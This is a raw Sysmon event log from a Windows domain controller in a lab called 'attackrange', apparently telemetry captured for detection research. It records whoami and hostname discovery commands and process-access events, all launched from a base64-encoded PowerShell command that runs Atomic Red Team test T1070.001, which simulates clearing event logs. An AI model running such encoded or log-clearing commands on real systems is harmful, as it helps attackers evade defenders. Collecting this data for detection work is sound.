10341000x80000000000000004210Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-291F-5F80-D900-000000007F01}4532C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004209Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-291F-5F80-D700-000000007F01}44244112C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291F-5F80-D900-000000007F01}4532C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdc2331b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c41a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c3e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb754db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd084a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0e2edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c63d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0b8356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c4889(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c4425(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c41a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c3e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb754db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd084a0c(wow64) 154100x80000000000000004208Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.702{A5F018FF-291F-5F80-D900-000000007F01}4532C:\Windows\System32\whoami.exe10.0.14393.0 (rs1_release.160715-1616)whoami - displays logged on user informationMicrosoft® Windows® Operating SystemMicrosoft Corporationwhoami.exe"C:\Windows\system32\whoami.exe"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA== 10341000x80000000000000004207Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291F-5F80-D800-000000007F01}1304C:\Windows\system32\HOSTNAME.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004206Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004205Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004204Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004203Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004202Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004201Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004200Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004199Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004198Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004197Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-291F-5F80-D800-000000007F01}1304C:\Windows\system32\HOSTNAME.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004196Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-291F-5F80-D700-000000007F01}44244112C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291F-5F80-D800-000000007F01}1304C:\Windows\system32\HOSTNAME.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdc2331b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c41a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c3e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb754db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd084a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0e2edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c63d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0b8356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c4889(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c4425(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c41a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c3e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb754db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd084a0c(wow64) 154100x80000000000000004195Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.694{A5F018FF-291F-5F80-D800-000000007F01}1304C:\Windows\System32\HOSTNAME.EXE10.0.14393.0 (rs1_release.160715-1616)Hostname APPMicrosoft® Windows® Operating SystemMicrosoft Corporationhostname.exe"C:\Windows\system32\HOSTNAME.EXE"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=1088BA1BF7CDDFF61ECC51BC0C02FDEF,SHA256=B8DA5A3AE4371E63DFD2F468E29CC23AA6F98A6A357A67955996F8F61E58FBA1,IMPHASH=D210D728CB9D45B4D1827BCE52F7EC6E{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA== 10341000x80000000000000004194Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.360{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004193Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.360{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004192Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.329{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_reccysom.inj.ps12020-10-09 09:10:55.329 10341000x80000000000000004191Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.313{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004190Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 